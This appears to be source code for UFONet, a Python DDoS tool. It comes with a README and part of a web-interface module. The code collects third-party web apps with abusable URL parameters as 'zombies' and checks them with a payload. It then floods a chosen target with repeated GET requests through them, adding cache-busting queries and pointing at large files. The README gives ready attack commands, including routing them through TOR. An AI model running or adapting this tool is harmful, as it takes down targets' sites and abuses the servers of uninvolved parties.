def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options def banner(self): print '='*75, "\n" print "888 888 8888888888 .d88888b. 888b 888 888 " print "888 888 888 d88P" "Y888b 8888b 888 888 " print "888 888 888 888 888 88888b 888 888 " print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 " print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 " print "888 888 888 888 888 888 Y88888 88888888 888 " print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. " print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888" print self.optionParser.description, "\n" print '='*75 def try_running(self, func, error, args=None): options = self.options args = args or [] try: return func(*args) except Exception as e: print(error, "error") if DEBUG: traceback.print_exc() def run(self, opts=None): if opts: options = self.create_options(opts) self.set_options(options) options = self.options # check proxy options proxy = options.proxy if options.proxy: try: pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]' m = re.search(pattern, proxy) if m is None: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) except Exception: self.banner() print ("\n[Error] - Proxy malformed!\n") sys.exit(2) # test web 'zombie' servers -> show statistics if options.test: try: self.banner() zombies = self.extract_zombies() test = self.testing(zombies) except Exception: print ("\n[Error] - Something wrong testing!\n") # attack target -> exploit CSRF massively and connect all vulnerable servers to a target if options.target: try: self.banner() zombies = self.extract_zombies() attack = self.attacking(zombies) except Exception: print ("\n[Error] - Something wrong attacking!\n") def extract_zombies(self): # extract targets from file (ex: 'zombies.txt') options = self.options if options.test: try: f = open(options.test) zombies = f.readlines() zombies = [ zombie.replace('\n','') for zombie in zombies ] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists(options.test) == True: print '\n[Error] - Cannot open:', options.test, "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', options.test, "\n" sys.exit(2) else: try: f = open('zombies.txt') zombies = f.readlines() zombies = [ zombie.replace('\n','') for zombie in zombies ] f.close() if not zombies: print "\n[Error] - Imposible to retrieve 'zombies' from the file." sys.exit(2) else: return zombies except: if os.path.exists('zombies.txt') == True: print '\n[Error] - Cannot open:', 'zombies.txt', "\n" sys.exit(2) else: print '\n[Error] - Cannot found:', 'zombies.txt', "\n" sys.exit(2) def update_zombies(self, zombies_ready): # update targets on file (ex: 'zombies.txt') options = self.options if options.test: f = open(options.test, "w") for zombie in zombies_ready: f.write(zombie + os.linesep) f.close() def connect_zombies(self, zombie): # connect zombies and manage different options: HEAD, GET, POST, # user-Agent, referer, timeout, retries, threads, delay.. options = self.options c = pycurl.Curl() if self.head == True: c.setopt(pycurl.URL, zombie) # set 'zombie' target c.setopt(pycurl.NOBODY,1) # use HEAD if self.payload == True: payload = zombie + "http://www.google.com" #XSS/CSRF payload c.setopt(pycurl.URL, payload) # set 'zombie' target c.setopt(pycurl.NOBODY,0) # use GET if self.external == True: external_service = "http://www.downforeveryoneorjustme.com/" external = external_service + options.target c.setopt(pycurl.URL, external) # external HEAD check before to attack c.setopt(pycurl.NOBODY,0) # use GET if self.attack_mode == True: if options.place: # use zombie's vector to connect to a target's place and add a random query to evade cache random_hash = random.randint(1, 100000000) url_attack = zombie + options.target + "/"+ options.place + "?" + str(random_hash) else: url_attack = zombie + options.target # Use zombie vector to connect to original target url print url_attack c.setopt(pycurl.URL, url_attack) # GET connection on target site c.setopt(pycurl.NOBODY,0) # use GET c.setopt(pycurl.HTTPHEADER, ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg', 'Connection: Keep-Alive', 'Content-type: application/x-www-form-urlencoded; charset=UTF-8', 'Cache-control: no-cache', 'Pragma: no-cache', 'Pragma-directive: no-cache', 'Cache-directive: no-cache', 'Expires: 0']) # set fake headers (important: no-cache) c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects c.setopt(pycurl.MAXREDIRS, 10) # set max redirects c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3 c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache! b = StringIO.StringIO() c.setopt(pycurl.HEADERFUNCTION, b.write) h = StringIO.StringIO() c.setopt(pycurl.WRITEFUNCTION, h.write) if options.agent: # set user-agent c.setopt(pycurl.USERAGENT, options.agent) else: c.setopt(pycurl.USERAGENT, self.user_agent) if options.referer: # set referer c.setopt(pycurl.REFERER, options.referer) else: c.setopt(pycurl.REFERER, self.referer) if options.proxy: # set proxy c.setopt(pycurl.PROXY, options.proxy) else: c.setopt(pycurl.PROXY, '') if options.timeout: # set timeout c.setopt(pycurl.TIMEOUT, options.timeout) c.setopt(pycurl.CONNECTTIMEOUT, options.timeout) else: c.setopt(pycurl.TIMEOUT, 30) c.setopt(pycurl.CONNECTTIMEOUT, 30) if options.delay: # set delay self.delay = options.delay else: self.delay = 0 if options.retries: # set retries self.retries = options.retries else: self.retries = 1 try: # try to connect c.perform() time.sleep(self.delay) except: # try retries for count in range(0, self.retries): time.sleep(self.delay) c.perform() if count == self.retries: print "\n[Error] - Imposible to connect. Aborting...\n" sys.exit(2) if self.head == True: # HEAD reply code_reply = c.getinfo(pycurl.HTTP_CODE) reply = b.getvalue() if options.verbose: print "Reply:" print "\n", reply return code_reply if self.external == True: # External reply external_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", external_reply return external_reply if self.payload == True: # Payloads reply payload_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", payload_reply return payload_reply if self.attack_mode == True: # Attack mode reply attack_reply = h.getvalue() if options.verbose: print "Reply:" print "\n", attack_reply return attack_reply def testing(self, zombies): # test CSRF vulnerabilities on webapps and show statistics # HTTP HEAD check print ("Are 'they' alive? :-) (HEAD Check):") print '='*35 num_active_zombies = 0 num_failed_zombies = 0 active_zombies = [] army = 0 print "Trying:", len(zombies) print '-'*21 for zombie in zombies: t = urlparse(zombie) if zombie.startswith("http://") or zombie.startswith("https://"): # send HEAD connection self.head = True code_reply = str(self.connect_zombies(zombie)) self.head = False if code_reply == "200" or code_reply == "302" or code_reply == "301" or code_reply == "401" or code_reply == "403" or code_reply == "405": name_zombie = t.netloc print "Zombie:", name_zombie print "Status: Ok ["+ code_reply + "]" num_active_zombies = num_active_zombies + 1 active_zombies.append(zombie) elif code_reply == "404": print "Zombie:", t.netloc print "Status: Not Found ["+ code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: print "Zombie:", t.netloc print "Status: Not Allowed ["+ code_reply + "]" num_failed_zombies = num_failed_zombies + 1 else: if self.options.verbose: print "Reply:", "\n\nNothing!!!!!\n" print "Zombie:", zombie print "Status: Malformed!" num_failed_zombies = num_failed_zombies + 1 print '-'*10 print '='*18 print "OK:", num_active_zombies, "Fail:", num_failed_zombies print '='*18 if num_active_zombies == 0: print "\n[INFO] - Update your 'zombies' list!\n" sys.exit(2) print '='*22 # check url parameter vectors print ("Checking for payloads:") print '='*22 print "Trying:", num_active_zombies print '-'*21 zombies_ready = [] num_waiting_zombies = 0 num_disconnected_zombies = 0 for zombie in active_zombies: t = urlparse(zombie) name_zombie = t.netloc payload_zombie = zombie print "Vector:", payload_zombie self.payload = True payload_reply = str(self.connect_zombies(zombie)) self.payload = False if "http://www.google.com" in payload_reply: #XSS/CSRF reply num_waiting_zombies = num_waiting_zombies + 1 print "Status:", "Waiting..." zombies_ready.append(zombie) else: num_disconnected_zombies = num_disconnected_zombies + 1 print "Status:", "Disconnected..." army = army + 1 print '-'*10 print '='*18 print "OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies print '='*18 print '='*18 # list of 'zombies' ready to attack print ("List of 'zombies':") print '='*18 num_active_zombie = 0 for z in zombies_ready: t = urlparse(z) name_zombie = t.netloc num_active_zombie = num_active_zombie + 1 if self.options.verbose: print "Zombie [", num_active_zombie, "]:", name_zombie print '-'*18 print "Total Army:", num_active_zombie print '-'*18 # update 'zombies' list if num_active_zombie == 0: print "\n[INFO] - You haven't any 'zombie'. Try to update your list!\n" else: update_reply = raw_input("Wanna update your list (Y/n)") print '-'*25 if update_reply == "n" or update_reply == "N": print "\nBye!\n" else: self.update_zombies(zombies_ready) print "\n[INFO] - Botnet updated! ;-)\n" def attacking(self, zombies): # Perform a DDoS Web attack against a target, using XSS/CSRF vectors on third party machines (aka 'zombies') target = self.options.target if target.startswith("http://") or target.startswith("https://"): print "Attacking: ", target print '='*55, "\n" # send XSS/CSRF injection reply = self.injection(target, zombies) else: print "\n[Error] - Target url not valid!\n" def injection(self, target, zombies): options = self.options head_check_here = False head_check_external = False print '='*21 print "Round: 'Is target up?'" print '='*21 # send HEAD connection self.head = True try: reply = self.connect_zombies(target) if reply: print "From here: YES" head_check_here = True else: print "From here: NO" head_check_here = False except Exception: print "\n[Error] - Cannot check from your connection, if target is up!\n" print "From Here: NO" head_check_here = False self.head = False print '-'*21 # check target on third party service (ex: http://www.downforeveryoneorjustme.com) self.external = True try: external_reply = self.connect_zombies(target) if "It's just you" in external_reply: # parse external service for correct reply print "From exterior: YES" head_check_external = True else: print "From exterior: NO" head_check_external = False except Exception: print "\n[Error] - Cannot check from external services, if target is up!\n" print "From exterior: NO" head_check_external = False self.external = False print '-'*21, "\n" # ask for start the attack if head_check_here == True or head_check_external == True: start_reply = raw_input("Your target looks ONLINE!. Wanna start a DDoS attack? (y/N)") print '-'*25 if start_reply == "y" or start_reply == "Y": total_rounds = options.rounds # extract number of rounds if total_rounds <= "0": total_rounds = 1 num_round = 1 num_hits = 0 num_zombie = 1 # start to attack the target with each zombie zombies = self.extract_zombies() # extract zombies from file total_zombie = len(zombies) for i in range(0, int(total_rounds)): for zombie in zombies: print '='*45 print "Zombie:", num_zombie, "| Round:", num_round, "| Total:", total_rounds print '='*45 t = urlparse(zombie) name_zombie = t.netloc self.attack_mode = True print "Name:", name_zombie attack_reply = self.connect_zombies(zombie) print "Status: Hit!" num_hits = num_hits + 1 num_zombie = num_zombie + 1 if num_zombie > total_zombie: num_zombie = 1 print '-'*10 num_round = num_round + 1 attack_mode = False print '='*21 print "Total hits:", num_hits print '='*21 print "\n[INFO] - Attack completed! ;-)\n" else: print "\nBye!\n" else: print "Your target is OFFLINE!?. Or you cannot reach it" print '-'*25 print "\nBye!\n" if __name__ == "__main__": app = UFONet() options = app.create_options() if options: app.set_options(options) app.run() --------------------------------------------------------------------------------------- UFONet - DDoS attacks via Web Abuse (XSS/CSRF) - 2013 - by psy =========================================================================== ############################### # Project info ############################### Website: http://ufonet.sf.net IRC: irc.freenode.net - #ufonet ############################### # Summary ############################### UFONet - is a shell client designed to launch DDoS attacks against a target, using CSRF/XSS vectors on third party web applications, like botnet. It allows to use a proxy to manage 'zombies'. ############################### # Installing ############################### UFONet runs on many platforms. It requires Python and the following library: - python-pycurl - Python bindings to libcurl On Debian-based systems (ex: Ubuntu), run: sudo apt-get install python-pycurl ############################### # Testing botnet ############################### Open 'zombies.txt' (or another file) and create a list of possible 'zombies'. Urls of the 'zombies' should be like this: http://target.com/check?uri= After that, launch it: ./ufonet -t zombies.txt At the end of the process, you will be asked if you want to update the list automatically adding only 'vulnerable' web apps. Wanna update your list (Y/n) ------------- Examples: + with verbose: ./ufonet -t zombies.txt -v + with proxy TOR: ./ufonet -t zombies.txt --proxy="http://127.0.0.1:8118" ############################### # Attacking a target ############################### Enter the target to attack, with the number of rounds that will be attacked: ./ufonet -a http://target.com -r 10 This will attack the target, with the list of 'zombies' that your provided on: "zombies.txt", a number of 10 times for each 'zombie'. That means, that if you have a list of 1.000 'zombies', the program will launch 1.000 'zombies' x 10 rounds = 10.000 'hits' to the target. By default, if you don't put any round, it will apply only 1. Additionally, you can choose a place to recharge on target's site. For example, a large image, a big size file or a flash movie. In some scenarios where targets doesn't use cache systems, this will do the attack more effective. ./ufonet -a http://target.com -b "/images/big_size_image.jpg" ------------- Examples: + with verbose: ./ufonet -a http://target.com -r 10 -v + with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118" + with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options
def __init__(self): self.options = UFONetOptions() self.pages = {} self.pages["/header"] = """ <!DOCTYPE html><html> <head> <link rel="icon" type="image/png" href="/favicon.ico" /> <meta name="author" content="psy"> <meta name="robots" content="noindex, nofollow"> <meta http-equiv="content-type" content="text/xml; charset=utf-8" /> <title>UFONet: DDoS via WebAbuse</title> <script language="javascript" src="/lib.js"></script> <style> body{font-size:15px}a,a:hover{outline:none;color:lime;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0} </style> """ self.pages["/footer"] = """</center></body> </html> """ self.pages["/favicon.ico"] = base64.b64decode( "AAABAAEAEA8AAAEAIAAkBAAAFgAAACgAAAAQAAAAHgAAAAEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAD/AAAA/wAAAP8AAAD/AAAAAAAAAN0AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAAAAAA/wAAAP8AAAD/AAAA/wAAAIEAAAD/AAAA/wAAAAAAAAD/AAAAAAAAAAAAAAD/AAAAlwAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAADtAAAA/wAAAIEAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAAAAAAAAAAAP8AAAAAAAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAAAAAAAAAAAXAAAA/wAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAA/wAAAP8AAAD/AAAAAAAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAD/AAAAAAAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAAAAAP8AAAD/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAAAAAAAAAAAAAAAA/wAAAP8AAAAAAAAA/wAAAP8AAAD/AAAAAAAAAFwAAAAAAAAA/wAAAP8AAAAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/AAAA/wAAAAAAAAAAAAAAAAAAAAAAAAD/AAAAAAAAAP8AAAD/AAAA/wAAAOwAAAAAAAAAAAAAAOsAAAAAAAAA/wAAAP8AAAD/AAAAAAAAAP8AAAD/AAAA/wAAAAAAAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALUAAAAAAAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/AAAAAAAAAAAAAAD/AAAA/wAAAP8AAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAP8AAAD/AAAA/wAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADhAQAAAWQAAPAGAACAOwAAvHsAALATAACgBwAAI5cAAPPQAADRFwAA8BcAAOg/AADsbwAA998AAPw/AAA=" ) self.pages["/ufonet-logo.png"] = base64.b64decode( "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